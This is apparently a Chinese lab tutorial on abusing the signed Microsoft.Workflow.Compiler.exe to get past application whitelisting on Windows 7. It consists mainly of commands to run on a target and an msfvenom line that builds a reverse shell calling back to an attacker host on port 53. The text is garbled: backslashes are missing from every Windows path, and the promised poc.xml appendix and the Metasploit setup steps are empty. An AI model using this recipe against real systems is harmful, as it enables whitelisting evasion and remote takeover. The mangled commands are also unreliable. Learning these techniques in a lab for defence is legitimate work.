注:请多喝点热水或者凉白开,身体特别重要。

说明:Microsoft.Workflow.Compiler.exe所在路径没有被系统添加PATH环境变量中,因此,Microsoft.Workflow.Compiler命令无法识别。

基于白名单Microsoft.Workflow.Compiler.exe配置payload:

Windows 7 默认位置:
C:WindowsMicrosoft.NETFrameworkv4.0.30319Microsoft.Workflow.Compiler.exe
C:WindowsMicrosoft.NETFramework64v4.0.30319Microsoft.Workflow.Compiler.exe

攻击机:192.168.1.4 Debian
靶机: 192.168.1.3 Windows 7

配置攻击机msf:
靶机执行:

1 C:WindowsMicrosoft.NETFrameworkv4.0.30319Microsoft.Workflow.Compiler.exe poc.xml Micropoor.tcp
结合meterpreter:

注:payload.cs需要用到System.Workflow.Activities

靶机执行:
1 C:WindowsMicrosoft.NETFramework64v4.0.30319Microsoft.Workflow.Compiler.exe poc.xml Micropoor_rev1.cs

配置攻击机msf:
payload生成:
1 msfvenom ‐p windows/x64/shell/reverse_tcp LHOST=192.168.1.4 LPORT=53 ‐f csharp
附录:poc.xml
注:windows/shell/reverse_tcp
